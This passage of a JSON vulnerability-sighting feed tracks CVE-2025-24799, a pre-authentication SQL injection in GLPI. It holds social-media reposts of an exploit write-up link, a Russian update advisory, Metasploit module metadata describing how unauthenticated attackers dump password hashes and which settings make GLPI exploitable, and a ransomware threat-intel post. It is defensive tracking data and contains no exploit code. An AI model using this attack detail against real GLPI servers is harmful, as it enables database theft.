https://blog.lexfo.fr/glpi-sql-to-rce.html\n\n\u203c\ufe0f \u0415\u0441\u043b\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0435 GLPI \u2014 \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u0435\u0441\u044c \u043d\u0435\u043c\u0435\u0434\u043b\u0435\u043d\u043d\u043e \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u044c\u0442\u0435 \u043b\u043e\u0433\u0438 \u043d\u0430 \u043f\u0440\u0435\u0434\u043c\u0435\u0442 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u0438 \u043d\u0430 /ajax/.", "creation_timestamp": "2026-07-14T00:01:02.025204Z"}, {"uuid": "7bcc6a01-49ab-4dea-8015-8eea403a045a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-24799", "type": "seen", "source": "https://t.me/reverseame/5081", "content": "Pre-authentication SQL injection to RCE in GLPI (CVE-2025-24799/CVE-2025-24801) #GLPI #SQLinjection #RCE #webexploitation #cybersecurity https://blog.lexfo.fr/glpi-sql-to-rce.html", "creation_timestamp": "2026-07-29T12:02:04.540396Z"}, {"uuid": "0d5d3dba-d23c-4d6b-9865-aee914ec839e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-24799", "type": "seen", "source": "https://t.me/reverseame/5081", "content": "Pre-authentication SQL injection to RCE in GLPI (CVE-2025-24799/CVE-2025-24801) #GLPI #SQLinjection #RCE #webexploitation #cybersecurity https://blog.lexfo.fr/glpi-sql-to-rce.html", "creation_timestamp": "2026-07-30T00:02:15.610803Z"}, {"uuid": "edcd64a1-bc55-4e55-9b8c-956a817258e7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-24799", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/gather/glpi_inventory_plugin_unauth_sqli.rb", "content": "{\"actions\": [], \"aliases\": [], \"arch\": \"\", \"author\": [\"rz\", \"jheysel-r7\"], \"autofilter_ports\": [80, 8080, 443, 8000, 8888, 8880, 8008, 3000, 8443], \"autofilter_services\": [\"http\", \"https\"], \"check\": true, \"default_credential\": false, \"description\": \"GLPI <= 1.0.18 fails to properly sanitize user supplied data when sent inside a `SimpleXMLElement`\\n          (available to unauthenticated users), prior to using it in a dynamically constructed SQL query.\\n          As a result, unauthenticated attackers can conduct an SQL injection attack to dump sensitive\\n          data from the backend database such as usernames and password hashes.\\n\\n          In order for GLPI to be exploitable the GLPI Inventory plugin must be installed and enabled, and the\\n          \\\"Enable Inventory\\\" radio button inside the administration configuration also must be checked.\", \"disclosure_date\": \"2025-03-12\", \"fullname\": \"auxiliary/gather/glpi_inventory_plugin_unauth_sqli\", \"is_install_path\": true, \"mod_time\": \"2026-04-10 16:13:38 +0000\", \"name\": \"GLPI Inventory Plugin Unauthenticated Blind Boolean SQLi\", \"needs_cleanup\": false, \"notes\": {\"Reliability\": [], \"SideEffects\": [\"ioc-in-logs\"], \"Stability\": [\"crash-safe\"]}, \"path\": \"/modules/auxiliary/gather/glpi_inventory_plugin_unauth_sqli.rb\", \"platform\": \"\", \"post_auth\": false, \"rank\": 300, \"ref_name\": \"gather/glpi_inventory_plugin_unauth_sqli\", \"references\": [\"URL-https://blog.lexfo.fr/glpi-sql-to-rce.html\", \"CVE-2025-24799\"], \"rport\": 80, \"session_types\": false, \"targets\": null, \"type\": \"auxiliary\"}", "creation_timestamp": "2026-09-08T06:47:15.180030Z"}, {"uuid": "60aa4a03-869c-4d46-8fc5-d9fc76364f3b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-24799", "type": "seen", "source": "https://bsky.app/profile/cyfar.ca/post/3mvpoauhduj22", "content": "@talosintelligence.com\nThe Gentlemen led Japan\u2019s 2026 ransomware activity; Qilin showed likely AI-assisted tooling.\n-\nIOCs: CVE-2025-24799, AdaptixC2, deadman[.]py\n-\n#Qilin #Ransomware #TheGentlemen #ThreatIntel", "creation_timestamp": "2026-09-17T12:37:58.245443Z"}]}